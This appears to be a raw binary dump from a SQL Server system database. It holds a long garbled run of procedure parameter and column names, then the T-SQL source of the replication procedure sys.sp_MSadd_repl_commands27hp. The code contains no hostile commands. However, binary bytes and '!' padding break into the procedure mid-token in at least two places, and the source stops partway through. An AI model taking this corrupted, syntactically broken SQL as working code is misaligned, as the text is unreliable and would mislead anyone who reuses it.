,@log_comments63,@log_duration63(@log_status63	$@log_time63*@publication63&@publisher63,@publisher_db63.@snap_comments63.@snap_duration63*@snap_status63&@snap_time6l&@job_login6l,@job_password6l&@publisher6l2@publisher_login6l8@publisher_password6ƒ@name6ƒ*@show_distdb6*.@source_schema6**@source_name6*4@capture_instance60s@wait60s @needed6eȲ*@publication6eȲ(@subscriber6eȲ.@subscriber_db6l*@publication6l<@dynamic_filter_login6lB@dynamic_filter_hostname6lF@dynamic_snapshot_location6lD@dynamic_snapshot_jobname6l@@dynamic_snapshot_jobid6l<@dynamic_job_step_uid6l0@frequency_type6l	8@frequency_interval6l
4@frequency_subday6lF@frequency_subday_interval6lJ@frequency_relative_interval6l
J@frequency_recurrence_factor6l6@active_start_date6l2@active_end_date6lD@active_start_time_of_day6l@@active_end_time_of_day6lD@dynamic_snapshot_agentid6l.@ignore_select6'*@publication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LLECTIONNAME6%E,TABLE_CATALOG6%E&TABLE_NAME6%E*TABLE_SCHEMA6%E$TYPE_GUID6~@artid6~&@publisher6~0@publisher_type6o *@column_name6o *@fUsePattern6o "@ODBCVer6o (@table_name6o *@table_owner6o 2@table_qualifier6fu0@onoff82682&@articleid682*@publisherid682"@tableid63*@publication63&@publisher63,@publisher_db63*@sync_method6$=*@schema_name6$=4@target_namespace6C.@failure_level6,W@artid6,W6@bGetTextImageInfo6,W$@ccoltype6,W@colid6,W"@colname6,W@objid6XZ$@typename6N[c@id6je @dbname6je @ddlcmd6je(@FirstToken6je(@objectType6je"@objname6je@owner6je,@targetobject63f8@heartbeat_interval6(@agent_type6(@profile_id6q(@check_user6q&@publisher6{	*@column_list6{6@expected_checksum6{6@expected_rowcount6{,@full_or_fast6{@owner6{.@rowcount_only6{0@shutdown_agent6{@table6{(@table_name6@artid6@mode6&@publisher6.@publishertype6S"@enabled6S$@interval6S&@publisher6&,ansi_defaults6%4ansi_null_dflt_on6)&ansi_nulls6(*ansi_padding6',ansi_warnings6$&arithabort6
8blocking_session_id6 command6*@concat_null_yields_null6,connection_id6*context_info6"cpu_time6
(database_id6"&date_first6!(date_format6-4deadlock_priority6Destimated_completion_time62>executing_managed_code61:granted_query_memory68@mode68&@publisher68D@publisher_engine_edition68T@about_to_insert_new_subscription6҉(0@filtered_table6҉(,@joined_table6".*@publication6".*@suser_sname6".&@host_name6".D@dynamic_snapshot_jobname6".@@dynamic_snapshot_jobid6".0@frequency_type6".8@frequency_interval6".4@frequency_subday6".	F@frequency_subday_interval6".
J@frequency_relative_interval6".J@frequency_recurrence_factor6".6@active_start_date6".
2@active_end_date6".D@active_start_time_of_day6".@@active_end_time_of_day6^*@publication6^*@suser_sname6^&@host_name6@pubid6@subid6,@replicastate6p"@artnick6p6@before_view_objid6p8@before_table_objid6p@rgcol6p&@commongen6pJ@allow_partition_realignment;6;8@publication_number6;,@partition_id6,@gen6,$@art_nick6,,@is_local_gen
6
@day!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!rV(\*b>`l)<qr6-+e*partition_id6-+e2partition_number6-+e(pdw_node_id6-+e
8reserved_page_count6-+e$row_count6-+eRrow_overflow_reserved_page_count6-+e
Jrow_overflow_used_page_count6-+e0used_page_count6ie8@destination_folder6ie*@publication6ie&@publisher6ie(@subscriber6ie.@subscriber_db6<l*@fUsePattern6<l.@table_catalog6<l(@table_name6<l,@table_schema6<l,@table_server6pn(@futureonly6pn"@objname6>y@cmd6>y @dbname6>y@debug6 "@article6 ,@full_or_fast6 *@publication6 &@publisher6 $@reserved6 .@rowcount_only6 0@shutdown_agent6 8@subscription_level6S&@agenttype6S @job_id6S.@offloadserver6*@publication6&@publisher6(create_time6
 details6"error_id6(pdw_node_id6&request_id6&session_id6source6spid6	$thread_id6type6*@agent_login6.@empty_tranpub6&@hrepl_pub6*@publication6*@publisherdb64@replication_type60@security_check6*@vendor_name6Uz&feature_id6Uz*feature_name6xe$@infotype6xe@login6xe$@password6xe @server66free_entries_count6>max_free_entries_count68memory_pool_address6name6(pdw_node_id6 pool_id6Hremoved_in_all_rounds_count6type6=[(@index_name6=[,@table_schema6;@fset6iF$@rolename6tK6@range_cycle_count6tK6@range_first_value6tK4@range_last_value6tK(@range_size6tK8@sequence_increment6tK8@sequence_max_value6tK8@sequence_min_value6tK.@sequence_name6B
\(database_id6B
\"index_id6B
\6last_system_lookup6B
\2last_system_scan6B
\2last_system_seek6B
\6last_system_update6B
\
2last_user_lookup6B
\	.last_user_scan6B
\.last_user_seek6B
\2last_user_update6Y&@publisher6Y,@publisher_db6Y*@publication6H8@secondary_database6H,@secondary_id6E,@source_table6E*@table_owner6E2@column_tracking6E:@recreate_repl_views6@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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!T&^,


~
F

zD:F`|z`


~
@


				fZ	4	
	|R,|^8Z0(T&dF&jBnD@`Pq)
x
sTzg61:D@referenced_object_schema61:
F@update_referential_action6tW @exists6tW$@filename64X"@columns64Xcolid6[@artid6[@objidτ\6τ\ @string6r*@srvrolenameFu6Fu"@bitmask6Fu@colid6c
*@compatlevel6c
$@replnick6c
"@srcguid6k&local_node6k&page_class6k(pdw_node_id6k&read_count6k(remote_node6k(write_count6.@artcolcounter6@artid6F@hierarchyidtovarbinarymax6
Z@largeuserdefinedtypestovarbinarymax6	,@maptimestamp6N@maxtypestomatchingnonmaxtypes6F@newdatetimetypestostrings6*@param_count6.@publishertype6
2@setdefaultnulls6H@spatialtypestovarbinarymax6&@src_objid6J@userdefinedtypestobasetypes6(@xmltontext6m,@linkedserver6L^"group_id6L^&group_name6Xy@artid6
Davailable_commit_limit_kb6Dlarge_page_allocations_kb6Flocked_page_allocations_kb6	Lmemory_utilization_percentage62page_fault_count6
(pdw_node_id6Dphysical_memory_in_use_kb6Hprocess_physical_memory_low6Fprocess_virtual_memory_low6Ntotal_virtual_address_space_kb6Vvirtual_address_space_available_kb6Vvirtual_address_space_committed_kb6Tvirtual_address_space_reserved_kb67@name67.@parametername67$@procname67*@raise_error6G"@ver_old6G.@ver_retention6Wi"@command6Wi$arguments6Wiid6Wi&parameters6@alter6	"@cftproc6$@del_proc6$@del_trig6&@dump_cmds6
.@filter_clause6,@identity_col64@identity_support66@independent_agent6$@ins_proc6$@ins_trig68@primary_key_bitmap6
(@proc_owner6*@publication6&@publisher6,@publisher_db6(@pubversion6&@sub_table62@sub_table_owner6 @ts_col6$@upd_proc6$@upd_trig6M0@primary_server6M4@primary_database6N@mode6N$@agent_id6N(@agent_type6N(@session_id6N0@session_status6N0@monitor_server6N$@database6N$@log_time6N	,@log_time_utc6N
"@message6y&@tablenick6y*@changecount6y"@gen_cur6,U}*@publication6,U},@source_table6,U},@source_owner6Ic*@publication6Ic8@ignore_distributor6Ic$@reserved6Ic>@ignore_merge_metadata6=h@pubid6=h@artid6@pubid6@subid6$@pubOfSub!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d2h@


V
*
lNn(|R.

:
		P		jP2L&~T:X2
xNR~(00lP.
0hD pL`<(vCREATE PROCEDURE sys.sp_MSadd_repl_commands27hp
(
    @publisher_id smallint,
    @publisher_db sysname,
    @data varbinary( 1575 ),
    @1data varbinary(1575) = NULL,
    @2data varbinary(1575) = NULL,
    @3data varbinary(1575) = NULL,
    @4data varbinary(1575) = NULL,
    @5data varbinary(1575) = NULL,
    @6data varbinary(1575) = NULL,
    @7data varbinary(1575) = NULL,
    @8data varbinary(1575) = NULL,
    @9data varbinary(1575) = NULL,
    @10data varbinary(1575) = NULL,
    @11data varbinary(1575) = NULL,
    @12data varbinary(1575) = NULL,
    @13data varbinary(1575) = NULL,
    @14data varbinary(1575) = NULL,
    @15data varbinary(1575) = NULL,
    @16data varbinary(1575) = NULL,
    @17data varbinary(1575) = NULL,
    @18data varbinary(1575) = NULL,
    @19data varbinary(1575) = NULL,
    @20data varbinary(1575) = NULL,
    @21data varbinary(1575) = NULL,
    @22data varbinary(1575) = NULL,
    @23data varbinary(1575) = NULL,
    @24data varbinary(1575) = NULL,
    @25data varbinary(1575) = NULL,
    @26data varbinary(1575) = NULL
)
AS
begin
    SET NOCOUNT ON

    DECLARE @xact_id    varbinary(10)
    DECLARE @xact_seqno varbinary(10)
	DECLARE @artid      int
    DECLARE @command_id int
    DECLARE @cmd_type   int
    DECLARE @partial_command bit
    DECLARE @command    varbinary(1024)

    DECLARE @max_offset  binary(4)
    DECLARE @seqno  varbinary(16)
    DECLARE @1seqno  varbinary(16)
    DECLARE @2seqno  varbinary(16)
    DECLARE @3seqno  varbinary(16)
    DECLARE @4seqno  varbinary(16)
    DECLARE @5seqno  varbinary(16)
    DECLARE @6seqno  varbinary(16)
    DECLARE @7seqno  varbinary(16)
    DECLARE @8seqno  varbinary(16)
    DECLARE @9seqno  varbinary(16)
    DECLARE @10seqno  varbinary(16)
    DECLARE @11seqno  varbinary(16)
    DECLARE @12seqno  varbinary(16)
    DECLARE @13seqno  varbinary(16)
    DECLARE @14seqno  varbinary(16)
    DECLARE @15seqno  varbinary(16)
    DECLARE @16seqno  varbinary(16)
    DECLARE @17seqno  varbinary(16)
    DECLARE @18seqno  varbinary(16)
    DECLARE @19seqno  varbinary(16)
    DECLARE @20seqno  varbinary(16)
    DECLARE @21seqno  varbinary(16)
    DECLARE @22seqno  varbinary(16)
    DECLARE @23seqno  varbinary(16)
    DECLARE @24seqno  varbinary(16)
    DECLARE @25seqno  varbinary(16)
    DECLARE @26seqno  varbinary(16)
    DECLARE @max_seqno  varbinary(16)

    DECLARE @originator sysname
    DECLARE @originator_db sysname

    DECLARE @publisher_database_id int
    DECLARE @date datetime
    declare @originator_id int

    DECLARE @cmd_data_len  smallint
    DECLARE @orig_srv_len smallint
    DECLARE @orig_db_len  smallint
	DECLARE @MaxCmdsInTranOn int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    SELECT @date = GETDATE()
	SELECT @MaxCmdsInTranOn = 0
    -- Get publisher database id.
    SELECT @publisher_database_id = id from MSpublisher_databases where publisher_id = @publisher_id and 
	    publisher_db = @publisher_db
	
	SELECT @MaxCmdsInTranOn = category & 0x40 from master.dbo.sysdatabases where dbid = db_id()

	select @max_offset = 0
    -- First insert into MS_repl_transactions
	if(@MaxCmdsInTranOn > 0 )
	begin
    	select @max_seqno = max(xact_seqno) from MSrepl_transactions 
				where publisher_database_id = @publisher_database_id 
		if substring( @data, 11, 10 ) = substring( @max_seqno, 1, 10 ) -- same tran
		begin
			IF convert( int, substring( @data, 25, 4 ) ) = 1 
				select @max_offset = substring(@max_seqno, 11, 4) + 1 -- increment offset
			else
				select @max_offset = substring(@max_seqno, 11, 4) -- keep the same offset
			if (@max_offset > 0)
				select @seqno = substring( @data, 11, 10 ) + @max_offset
			else
				select @seqno = substring( @data, 11, 10 )
		end
		else
			select @seqno = substring( @data, 11, 10 )
	end
	else
		select @seqno = substring( @data, 11, 10 )
    IF convert( int, substring( @data, 25, 4 ) ) = 1  --first command in tran
    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @data, 1, 10 ), @seqno, @date)

	if @max_offset is NULL
		select @max_offset  = 0
	select @max_offset  = @max_offset + 1

    IF @1data is null
      goto INSERT_CMDS

	if(substring( @1data, 11, 10 ) = substring( @data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @1data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @1seqno = substring( @1data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @1data, 1, 10 ), @1seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @1seqno = @seqno 
	end
	else
	begin
		select @1seqno = substring( @1data, 11, 10 ) 
	    IF convert( int, substring( @1data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @1data, 1, 10 ), @1seqno, @date)
	end

    IF @2data is null
      goto INSERT_CMDS

	if(substring( @2data, 11, 10 ) = substring( @1data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @2data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @2seqno = substring( @2data, 11, 10 )+ @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @2data, 1, 10 ), @2seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @2seqno = @1seqno 
	end
	else
	begin
		select @2seqno = substring( @2data, 11, 10 ) 
	    IF convert( int, substring( @2data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @2data, 1, 10 ), @2seqno, @date)
	end
    
    IF @3data is null
      goto INSERT_CMDS

	if(substring( @3data, 11, 10 ) = substring( @2data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @3data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @3seqno = substring( @3data, 11, 10 ) + @max_offset 
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @3data, 1, 10 ), @3seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @3seqno = @2seqno 
	end
	else
	begin
		select @3seqno = substring( @3data, 11, 10 ) 
	    IF convert( int, substring( @3data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @3data, 1, 10 ), @3seqno, @date)
	end

    IF @4data is null
      goto INSERT_CMDS

	if(substring( @4data, 11, 10 ) = substring( @3data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @4data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @4seqno = substring( @4data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @4data, 1, 10 ), @4seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @4seqno = @3seqno 
	end
	else
	begin
		select @4seqno = substring( @4data, 11, 10 ) 
	    IF convert( int, substring( @4data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @4data, 1, 10 ), @4seqno, @date)
	end

    IF @5data is null
      goto INSERT_CMDS
	if(substring( @5data, 11, 10 ) = substring( @4data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @5data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @5seqno = substring( @5data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @5data, 1, 10 ), @5seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @5seqno = @4seqno 
	end
	else
	begin
		select @5seqno = subst!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(vring( @5data, 11, 10 ) 
	    IF convert( int, substring( @5data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @5data, 1, 10 ), @5seqno, @date)
	end

    IF @6data is null
      goto INSERT_CMDS
	if(substring( @6data, 11, 10 ) = substring( @5data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @6data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @6seqno = substring( @6data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @6data, 1, 10 ), @6seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @6seqno = @5seqno 
	end
	else
	begin
		select @6seqno = substring( @6data, 11, 10 ) 
	    IF convert( int, substring( @6data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @6data, 1, 10 ), @6seqno, @date)
	end

    IF @7data is null
      goto INSERT_CMDS
	if(substring( @7data, 11, 10 ) = substring( @6data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @7data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @7seqno = substring( @7data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @7data, 1, 10 ), @7seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @7seqno = @6seqno 
	end
	else
	begin
		select @7seqno = substring( @7data, 11, 10 ) 
	    IF convert( int, substring( @7data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @7data, 1, 10 ), @7seqno, @date)
	end

    IF @8data is null
      goto INSERT_CMDS
	if(substring( @8data, 11, 10 ) = substring( @7data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @8data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @8seqno = substring( @8data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @8data, 1, 10 ), @8seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @8seqno = @7seqno 
	end
	else
	begin
		select @8seqno = substring( @8data, 11, 10 ) 
	    IF convert( int, substring( @8data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @8data, 1, 10 ), @8seqno, @date)
	end

    IF @9data is null
      goto INSERT_CMDS
	if(substring( @9data, 11, 10 ) = substring( @8data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @9data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @9seqno = substring( @9data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @9data, 1, 10 ), @9seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @9seqno = @8seqno 
	end
	else
	begin
		select @9seqno = substring( @9data, 11, 10 ) 
	    IF convert( int, substring( @9data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @9data, 1, 10 ), @9seqno, @date)
	end

    IF @10data is null
      goto INSERT_CMDS
	if(substring( @10data, 11, 10 ) = substring( @9data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @10data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @10seqno = substring( @10data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @10data, 1, 10 ), @10seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @10seqno = @9seqno 
	end
	else
	begin
		select @10seqno = substring( @10data, 11, 10 ) 
	    IF convert( int, substring( @10data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @10data, 1, 10 ), @10seqno, @date)
	end

    IF @11data is null
      goto INSERT_CMDS
	if(substring( @11data, 11, 10 ) = substring( @10data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @11data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @11seqno = substring( @11data, 11, 10 )+ @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @11data, 1, 10 ), @11seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @11seqno = @10seqno 
	end
	else
	begin
		select @11seqno = substring( @11data, 11, 10 ) 
	    IF convert( int, substring( @11data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @11data, 1, 10 ), @11seqno, @date)
	end

    IF @12data is null
      goto INSERT_CMDS
	if(substring( @12data, 11, 10 ) = substring( @11data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @12data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @12seqno = substring( @12data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @12data, 1, 10 ), @12seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @12seqno = @11seqno 
	end
	else
	begin
		select @12seqno = substring( @12data, 11, 10 ) 
	    IF convert( int, substring( @12data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @12data, 1, 10 ), @12seqno, @date)
	end
    
    IF @13data is null
      goto INSERT_CMDS
if(substring( @13data, 11, 10 ) = substring( @12data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @13data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @13seqno = substring( @13data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @13data, 1, 10 ), @13seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @13seqno = @12seqno 
	end
	else
	begin
		select @13seqno = substring( @13data, 11, 10 ) 
	    IF convert( int, substring( @13data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @13data, 1, 10 ), @13seqno, @date)
	end

    IF @14data is null
      goto INSERT_CMDS
if(substring( @14data, 11, 10 ) = substring( @13data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @14data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @14seqno = substring( @14data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @14data, 1, 10 ), @14seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @14seqno = @13seqno 
	end
	else
	begin
		select @14seqno = substring( @14data, 11, 10 ) 
	    IF convert( int, substring( @14data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @14data, 1, 10 ), @14seqno, @date)
	end

    IF @15data is null
      goto INSERT_CMDS
if(substring( @15data, 11, 10 ) = substring( @14data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @15data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @15seqno = substring( @15data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @15data, 1, 10 ), @15seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @15seqno = @14seqno 
	end
	else
	begin
		select @15seqno = substring( @15data, 11, 10 ) 
	    IF convert( int, substring( @15data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @15data, 1, 1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<( }v0 ), @15seqno, @date)
	end

    IF @16data is null
      goto INSERT_CMDS
if(substring( @16data, 11, 10 ) = substring( @15data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @16data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @16seqno = substring( @16data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @16data, 1, 10 ), @16seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @16seqno = @15seqno 
	end
	else
	begin
		select @16seqno = substring( @16data, 11, 10 ) 
	    IF convert( int, substring( @16data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @16data, 1, 10 ), @16seqno, @date)
	end

    IF @17data is null
      goto INSERT_CMDS
if(substring( @17data, 11, 10 ) = substring( @16data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @17data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @17seqno = substring( @17data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @17data, 1, 10 ), @17seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @17seqno = @16seqno 
	end
	else
	begin
		select @17seqno = substring( @17data, 11, 10 ) 
	    IF convert( int, substring( @17data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @17data, 1, 10 ), @17seqno, @date)
	end

    IF @18data is null
      goto INSERT_CMDS
	if(substring( @18data, 11, 10 ) = substring( @17data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @18data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @18seqno = substring( @18data, 11, 10 )+ @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @18data, 1, 10 ), @18seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @18seqno = @17seqno 
	end
	else
	begin
		select @18seqno = substring( @18data, 11, 10 ) 
	    IF convert( int, substring( @18data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @18data, 1, 10 ), @18seqno, @date)
	end

    IF @19data is null
      goto INSERT_CMDS
	if(substring( @19data, 11, 10 ) = substring( @18data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @19data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @19seqno = substring( @19data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @19data, 1, 10 ), @19seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @19seqno = @18seqno 
	end
	else
	begin
		select @19seqno = substring( @19data, 11, 10 ) 
	    IF convert( int, substring( @19data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @19data, 1, 10 ), @19seqno, @date)
	end

    IF @20data is null
      goto INSERT_CMDS
	if(substring( @20data, 11, 10 ) = substring( @19data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @20data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @20seqno = substring( @20data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @20data, 1, 10 ), @20seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @20seqno = @19seqno 
	end
	else
	begin
		select @20seqno = substring( @20data, 11, 10 ) 
	    IF convert( int, substring( @20data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @20data, 1, 10 ), @20seqno, @date)
	end

    IF @21data is null
      goto INSERT_CMDS
	if(substring( @21data, 11, 10 ) = substring( @20data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @21data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
			select @21seqno = substring( @21data, 11, 10 ) + @max_offset
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @21data, 1, 10 ), @21seqno, @date)
			select @max_offset  = @max_offset + 1
		end
		else
			select @21seqno = @20seqno 
	end
	else
	begin
		select @21seqno = substring( @21data, 11, 10 ) 
	    IF convert( int, substring( @21data, 25, 4 ) ) = 1  
	    	INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        		 substring( @21data, 1, 10 ), @21seqno, @date)
	end

    IF @22data is null
      goto INSERT_CMDS
	if(substring( @22data, 11, 10 ) = substring( @21data, 11, 10 )) --same tran
	begin
	    IF convert( int, substring( @22data, 25, 4 ) ) = 1  --only happens with -MaxCmdsInTran 
		begin
